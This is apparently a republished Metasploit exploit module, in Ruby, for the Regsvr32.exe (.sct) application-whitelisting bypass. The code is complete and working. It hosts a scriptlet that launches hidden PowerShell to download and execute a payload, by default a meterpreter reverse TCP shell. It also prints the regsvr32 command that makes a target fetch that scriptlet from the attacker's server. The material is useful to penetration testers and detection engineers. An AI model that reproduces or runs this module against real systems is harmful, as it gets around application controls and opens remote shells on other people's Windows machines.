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Regsvr32.exe (.sct) Application Whitelisting Bypass Server

Posted on 16 June 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
'Description' => %q(
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
'Trenton Ivey', # MSF Module (kn0)
],
'DefaultOptions' =>
{
'Payload' => 'windows/meterpreter/reverse_tcp'
},
'Targets' => [['PSH', {}]],
'Platform' => %w(win),
'Arch' => [ARCH_X86, ARCH_X86_64],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 19 2016',
'References' =>
[
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
]
))
end

def primer
print_status('Run the following command on the target machine:')
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
end

def on_request_uri(cli, _request)
# If the resource request ends with '.sct', serve the .sct file
# Otherwise, serve the PowerShell payload
if _request.raw_uri =~ /.sct$/
serve_sct_file
else
serve_psh_payload
end
end

def serve_sct_file
print_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
data = gen_sct_file(psh_command)
send_response(cli, data, 'Content-Type' => 'text/plain')
end

def serve_psh_payload
print_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
send_response(cli,data,'Content-Type' => 'application/octet-stream')
end

def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end

def gen_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end

end

 

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